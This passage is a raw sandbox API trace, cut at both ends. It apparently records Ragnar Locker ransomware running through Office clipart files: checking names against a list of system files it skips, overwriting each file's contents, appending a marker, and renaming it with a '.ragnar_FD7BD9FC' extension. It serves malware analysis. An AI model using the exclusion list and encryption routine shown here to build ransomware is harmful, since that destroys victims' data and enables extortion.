dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0093.290] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=47) returned 1 [0093.290] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x26, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.290] GetProcessHeap () returned 0x580000 [0093.290] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.290] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0093.291] VirtualAlloc (lpAddress=0x0, dwSize=0x2f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.291] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.291] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0093.291] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2f, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x2f, lpOverlapped=0x0) returned 1 [0093.291] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0093.291] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.292] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x2f, lpOverlapped=0x0) returned 1 [0093.292] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.292] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.292] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x2f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.292] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.292] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.292] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.292] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0093.292] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.292] GetProcessHeap () returned 0x580000 [0093.292] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.292] CloseHandle (hObject=0x104) returned 1 [0093.292] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF" [0093.292] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF.ragnar_FD7BD9FC" [0093.292] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143744.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143744.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.293] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac144200, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac144200, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x2dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143745.GIF", cAlternateFileName="")) returned 1 [0093.293] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0093.293] lstrcpyW (in: lpString1=0x1eab70, lpString2="J0143745.GIF" | out: lpString1="J0143745.GIF") returned="J0143745.GIF" [0093.293] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF") returned=".GIF" [0093.293] lstrcmpiW (lpString1="J0143745.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.293] lstrcmpiW (lpString1="J0143745.GIF", lpString2="autorun.inf") returned 1 [0093.293] lstrcmpiW (lpString1="J0143745.GIF", lpString2="boot.ini") returned 1 [0093.293] lstrcmpiW (lpString1="J0143745.GIF", lpString2="bootfont.bin") returned 1 [0093.293] lstrcmpiW (lpString1="J0143745.GIF", lpString2="bootsect.bak") returned 1 [0093.293] lstrcmpiW (lpString1="J0143745.GIF", lpString2="bootmgr") returned 1 [0093.294] lstrcmpiW (lpString1="J0143745.GIF", lpString2="bootmgr.efi") returned 1 [0093.294] lstrcmpiW (lpString1="J0143745.GIF", lpString2="bootmgfw.efi") returned 1 [0093.294] lstrcmpiW (lpString1="J0143745.GIF", lpString2="desktop.ini") returned 1 [0093.294] lstrcmpiW (lpString1="J0143745.GIF", lpString2="iconcache.db") returned 1 [0093.294] lstrcmpiW (lpString1="J0143745.GIF", lpString2="ntldr") returned -1 [0093.294] lstrcmpiW (lpString1="J0143745.GIF", lpString2="ntuser.dat") returned -1 [0093.294] lstrcmpiW (lpString1="J0143745.GIF", lpString2="ntuser.dat.log") returned -1 [0093.294] lstrcmpiW (lpString1="J0143745.GIF", lpString2="ntuser.ini") returned -1 [0093.294] lstrcmpiW (lpString1="J0143745.GIF", lpString2="thumbs.db") returned -1 [0093.294] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.294] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.294] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.294] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.294] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.294] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.294] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143745.gif")) returned 0x20 [0093.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143745.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0093.295] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=733) returned 1 [0093.295] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x2d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.295] GetProcessHeap () returned 0x580000 [0093.295] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.295] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0093.297] VirtualAlloc (lpAddress=0x0, dwSize=0x2dd, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.297] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.297] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0093.297] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2dd, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x2dd, lpOverlapped=0x0) returned 1 [0093.297] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0093.297] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2dd, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.297] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2dd, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x2dd, lpOverlapped=0x0) returned 1 [0093.297] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2dd, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.297] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.297] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x2dd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.298] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.298] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.298] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.298] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0093.298] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.298] GetProcessHeap () returned 0x580000 [0093.298] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.298] CloseHandle (hObject=0x104) returned 1 [0093.298] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF" [0093.298] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF.ragnar_FD7BD9FC" [0093.298] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143745.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143745.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.299] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77a08600, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77a08600, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x595, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143746.GIF", cAlternateFileName="")) returned 1 [0093.299] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0093.299] lstrcpyW (in: lpString1=0x1eab70, lpString2="J0143746.GIF" | out: lpString1="J0143746.GIF") returned="J0143746.GIF" [0093.299] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF") returned=".GIF" [0093.299] lstrcmpiW (lpString1="J0143746.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.299] lstrcmpiW (lpString1="J0143746.GIF", lpString2="autorun.inf") returned 1 [0093.299] lstrcmpiW (lpString1="J0143746.GIF", lpString2="boot.ini") returned 1 [0093.299] lstrcmpiW (lpString1="J0143746.GIF", lpString2="bootfont.bin") returned 1 [0093.299] lstrcmpiW (lpString1="J0143746.GIF", lpString2="bootsect.bak") returned 1 [0093.299] lstrcmpiW (lpString1="J0143746.GIF", lpString2="bootmgr") returned 1 [0093.299] lstrcmpiW (lpString1="J0143746.GIF", lpString2="bootmgr.efi") returned 1 [0093.299] lstrcmpiW (lpString1="J0143746.GIF", lpString2="bootmgfw.efi") returned 1 [0093.299] lstrcmpiW (lpString1="J0143746.GIF", lpString2="desktop.ini") returned 1 [0093.299] lstrcmpiW (lpString1="J0143746.GIF", lpString2="iconcache.db") returned 1 [0093.299] lstrcmpiW (lpString1="J0143746.GIF", lpString2="ntldr") returned -1 [0093.299] lstrcmpiW (lpString1="J0143746.GIF", lpString2="ntuser.dat") returned -1 [0093.299] lstrcmpiW (lpString1="J0143746.GIF", lpString2="ntuser.dat.log") returned -1 [0093.299] lstrcmpiW (lpString1="J0143746.GIF", lpString2="ntuser.ini") returned -1 [0093.299] lstrcmpiW (lpString1="J0143746.GIF", lpString2="thumbs.db") returned -1 [0093.299] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.299] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.299] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.299] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.299] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.299] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.299] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143746.gif")) returned 0x20 [0093.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143746.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0093.300] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1429) returned 1 [0093.300] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x58c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.300] GetProcessHeap () returned 0x580000 [0093.300] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.300] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0093.302] VirtualAlloc (lpAddress=0x0, dwSize=0x595, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.302] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.302] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0093.302] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x595, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x595, lpOverlapped=0x0) returned 1 [0093.302] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0093.302] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x595, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.302] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x595, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x595, lpOverlapped=0x0) returned 1 [0093.302] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x595, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.302] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.302] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x595, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.303] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.303] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.303] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.303] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0093.303] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.303] GetProcessHeap () returned 0x580000 [0093.303] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.303] CloseHandle (hObject=0x104) returned 1 [0093.303] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF" [0093.303] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF.ragnar_FD7BD9FC" [0093.303] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143746.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143746.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.304] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4cbfb00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4cbfb00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x11d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143748.GIF", cAlternateFileName="")) returned 1 [0093.304] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0093.304] lstrcpyW (in: lpString1=0x1eab70, lpString2="J0143748.GIF" | out: lpString1="J0143748.GIF") returned="J0143748.GIF" [0093.304] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF") returned=".GIF" [0093.304] lstrcmpiW (lpString1="J0143748.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.304] lstrcmpiW (lpString1="J0143748.GIF", lpString2="autorun.inf") returned 1 [0093.304] lstrcmpiW (lpString1="J0143748.GIF", lpString2="boot.ini") returned 1 [0093.304] lstrcmpiW (lpString1="J0143748.GIF", lpString2="bootfont.bin") returned 1 [0093.304] lstrcmpiW (lpString1="J0143748.GIF", lpString2="bootsect.bak") returned 1 [0093.304] lstrcmpiW (lpString1="J0143748.GIF", lpString2="bootmgr") returned 1 [0093.304] lstrcmpiW (lpString1="J0143748.GIF", lpString2="bootmgr.efi") returned 1 [0093.304] lstrcmpiW (lpString1="J0143748.GIF", lpString2="bootmgfw.efi") returned 1 [0093.304] lstrcmpiW (lpString1="J0143748.GIF", lpString2="desktop.ini") returned 1 [0093.304] lstrcmpiW (lpString1="J0143748.GIF", lpString2="iconcache.db") returned 1 [0093.304] lstrcmpiW (lpString1="J0143748.GIF", lpString2="ntldr") returned -1 [0093.304] lstrcmpiW (lpString1="J0143748.GIF", lpString2="ntuser.dat") returned -1 [0093.304] lstrcmpiW (lpString1="J0143748.GIF", lpString2="ntuser.dat.log") returned -1 [0093.304] lstrcmpiW (lpString1="J0143748.GIF", lpString2="ntuser.ini") returned -1 [0093.304] lstrcmpiW (lpString1="J0143748.GIF", lpString2="thumbs.db") returned -1 [0093.304] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.304] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.304] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.304] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.304] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.304] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.304] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143748.gif")) returned 0x20 [0093.305] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143748.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0093.306] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=4561) returned 1 [0093.306] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x11c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.306] GetProcessHeap () returned 0x580000 [0093.306] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.306] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, 